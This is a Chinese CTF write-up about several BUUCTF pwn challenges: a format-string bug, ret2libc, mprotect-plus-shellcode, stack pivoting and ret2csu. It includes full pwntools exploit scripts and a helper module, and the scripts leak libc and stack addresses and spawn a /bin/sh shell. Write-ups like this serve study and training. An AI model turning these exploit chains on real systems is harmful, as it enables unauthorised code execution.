这里就对之前第一遍没写出来的题目再写一次wp 写在之前 贴一下我的模块文件 from pwn import * from LibcSearcher import * from struct import * def debug(io): gdb.attach(proc.pidof(io)[0]) pause() def show_libc_base(libc_base): print("-----------libc_base-------------") print(hex(libc_base)) print("---------------------------------") def csu_frame(csu_end_addr, csu_front_addr, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 rbx = 0 rbp = 0x1 csu_payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) csu_payload += p64(csu_front_addr) csu_payload += b'a' * 0x38 csu_payload += p64(last) sleep(1) return csu_payload def sigframe(fun, rdi, rsi, rdx, rsp, rip): sigframe = SigreturnFrame() if fun == 'read': sigframe.rax = constants.SYS_read if fun == 'execve': sigframe.rax = constants.SYS_execve sigframe.rdi = rdi sigframe.rsi = rsi sigframe.rdx = rdx sigframe.rsp = rsp # rip 一般为 syscall 的地址 sigframe.rip = rip return sigframe def mprotect_frame(pop3ret, bss): # the last three number of bss address must be 000 payload = flat(elf.symbols['mprotect'], pop3ret, bss, 0xff, 0x7, elf.symbols['gets'], bss, bss) return payload 第七题 第五空间2019 决赛]PWN5 即格式化字符串的应用 从esp往下数(不包括esp),第十个即为第一个参数的地址 第十二题 get_started_3dsctf_2016 之前学长讲了一下这个的求偏移的方法,但是想了很久都没有理解,所以自己又想了一些通过动调获得偏移的方法 直接: 然后用python测试长度,并获得偏移 后面的就很简单了,是静态编译的并且存在后门函数 ps: 后来尝试用 brop 的方法试了一下,但是不知道什么原因爆破不出来,看来 brop 的方法我还需要用很多题目一起研究一下 第十五题 [OGeek2019]babyrop 主函数 惯例使用 ret2libc 1.泄露libc地址 1.然后直接就可以通了(卡住后一般动调一下就好了) exp如下 from my_base_pwn import * from my_brop import * pwn = "./pwn" context(log_level='debug') context.terminal = ['tmux','splitw','-h'] context.binary = elf = ELF(pwn) rop = ROP(context.binary) if args['REMOTE']: io = remote('127.0.0.1', 7777) else: io = process(pwn) elf = ELF(pwn) libc = ELF("/lib/i386-linux-gnu/libc.so.6") # libc = ELF("./libc-2.23.so") def debug(): gdb.attach(proc.pidof(io)[0]) pause() main_addr = 0x08048825 pop3ret = 0x080488f9 payload1 = b'\x00' payload1 += b'\xff' * 8 io.send(payload1) io.recv() # debug() payload2 = cyclic(0xe7 + 4) payload2 += flat(elf.symbols['write'], pop3ret, 1, elf.got['write'], 0x4, main_addr) io.send(payload2) write_add = u32(io.recv(4)) libc_base = write_add - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] binsh = libc_base + (next(libc.search(b'/bin/sh\x00'))) show_libc_base(libc_base) payload3 = payload1 io.send(payload3) io.recv() payload4 = cyclic(0xe7 + 4) payload4 += flat(system_addr, 0, binsh) io.send(payload4) io.interactive() 第十九题 not_the_same_3dsctf_2016 尝试使用 mprotect 解决问题 可以发现使用后出现 rwe 段了 from my_base_pwn import * from my_brop import * pwn = "./not_the_same_3dsctf_2016" context(log_level='debug') context.terminal = ['tmux','splitw','-h'] context.binary = elf = ELF(pwn) rop = ROP(context.binary) if args['REMOTE']: io = remote('127.0.0.1', 7777) else: io = process(pwn) elf = ELF(pwn) libc = ELF("/lib/i386-linux-gnu/libc.so.6") # libc = ELF("./libc-2.23.so") def debug(): gdb.attach(proc.pidof(io)[0]) pause() bss = 0x80ec000 # io.recv() rop.raw(cyclic(0x2d)) rop.mprotect(bss,0xff,0x7) rop.main() payload1 = rop.chain() io.sendline(payload1) # debug() sleep(0.1) rop = ROP(pwn) rop.raw(cyclic(0x2d)) rop.read(0, bss, 0xff) rop.main() payload2 = rop.chain() io.sendline(payload2) sleep(0.1) payload3 = asm(shellcraft.sh()) io.sendline(payload3) sleep(0.1) payload4 = cyclic(0x2d) payload4 += flat(bss) io.sendline(payload4) io.interactive() 然后就很轻松了。 ok,前几天学的东西确实可以极大的提高我的写题速度,不过也不能过于依赖这些东西,或者多想想这些代码背后的逻辑。 不过发现这几天一直在看pwntools源码还是很不错的。 第二十六题 ciscn_2019_es_2 无法直接进行栈溢出 发现可以泄露栈地址 调试后发现可以泄露 且多次调试后发现泄露出来的值与ebp此时的值有固定的偏移 思路出来了,先利用 vul 的 ret 进行栈迁移并构造rop链,再利用主函数的 ret 获取 shell 直接迁移到ebp的位置(迁移地址为泄露地址减10),根据崩溃时的位置和栈情况观察主函数返回地址的位置,我们发送 0x28 个垃圾字节 可以发现返回到了迁移后ebp返回地址的的前一个单位 存个疑问,一般不是在后面的一个地址吗 存在漏洞利用函数 但是发现 next(elf.search(b'sh\x00')) 一直报错,看样子这两个地方的字符串不能随意使用。所以打算自己写入一个 sh。 后来发现无法写入,然后打算直接写入栈 并且发现写入 elf.symbols['read'] 之前没法使用,动调时发现地址发生改变。 最终payload如下 from my_base_pwn import * from my_brop import * pwn = "./ciscn_2019_es_2" context(log_level='debug') context.terminal = ['tmux','splitw','-h'] context.binary = elf = ELF(pwn) rop = ROP(context.binary) if args['REMOTE']: io = remote('127.0.0.1', 7777) else: io = process(pwn) libc = ELF("/lib/i386-linux-gnu/libc.so.6") # libc = ELF("./libc-2.23.so") def debug(): gdb.attach(proc.pidof(io)[0]) pause() pop3ret = 0x08048699 bss = 0x804b800 leave_ret = 0x08048562 # debug() io.recvline() payload1 = cyclic(0x24) io.send(payload1) io.recv(0x27) add1 = u32(io.recv(4)) add2 = u32(io.recv(4)) add3 = u32(io.recv(4)) log.success('add3 ' + str(hex(add3))) # log.success('add2 ' + str(hex(add2))) aim_migrate = add3 - 0x10 -0x28 # debug() payload2 = flat(b'aaaa', elf.symbols['system'], b'aaaa', aim_migrate + 16, b'/bin/sh\x00') payload2 = payload2.ljust(0x28,b'a') payload2 += flat(aim_migrate, leave_ret) io.send(payload2) io.recvuntil(b'ello,') io.interactive() 同时探讨了一下 rop.migrate() 的作用 发现它是利用 return addr 进行迁移的,所以比通常的迁移要多出一个单位数据。 第三十一题 ciscn_2019_s_3 一个是远程的csu相关偏移不同,还有就是本地的偏移寻找有一定难度 我的脚本: from my_base_pwn import * from my_brop import * context(os='linux', arch='amd64', log_level='debug') context.terminal = ['tmux','splitw','-h'] def debug(): gdb.attach(proc.pidof(io)[0]) pause() pwn = "./ciscn_s_3" io = process(pwn) # io = remote("node5.buuoj.cn", 27488) elf = ELF(pwn) # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # libc = ELF("./libc-2.23.so") csu_end = 0x000000000040059A csu_front = 0x0000000000400580 rax_ini = 0x00000000004004e2 syscall = 0x0000000000400501 vul_func = 0x00000000004004ED rdi = 0x00000000004005a3 rsi_r15 = 0x00000000004005a1 ret = 0x00000000004003a9 payload1 = cyclic(0x10) payload1 += flat(vul_func) # debug() io.sendline(payload1) # debug() io.recv(0x20) # test_addr = u64(io.recv(6).ljust(8,b'\x00')) # io.recv(0x10 - 6) # print(hex(test_addr)) buf_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(buf_addr)) # debug() debug() binsh = buf_addr - 0x148 # 远程是下面这个 -0x118 # binsh = buf_addr - 0x118 payload2 = b'/bin/sh\x00' + cyclic(0x8) payload2 += csu_frame(csu_end, csu_front, binsh + 0x98, 0, 0, 0, rdi) payload2 += flat(binsh, rax_ini, ret, syscall) io.sendline(payload2) io.interactive() 使用ret2csu的时候,需要注意以下偏移的问题 可以发现该脚本泄露出的地址减去 0x148 即为程序写入的地址 检验了一下 同时注意一下 r12 应该传入的数值为一个内容可被再次解析的地址,假如我 0x7ffc0dfa7ea8 保存的是 0x400304 ,且 0x400304 的地址是可执行的汇编代码,然后把 0x7ffc0dfa7ea8 传入才不会报错(这段的数字都是我自己造的) 然后可以计算一下偏移,直接利用代码进行计算就行 有些疑惑就先存着吧,以后转回来看看
标签:csu,addr,libc,buu,debug,io,pwn,第一页,复盘 From: https://www.cnblogs.com/fengqingwuchen/p/18074039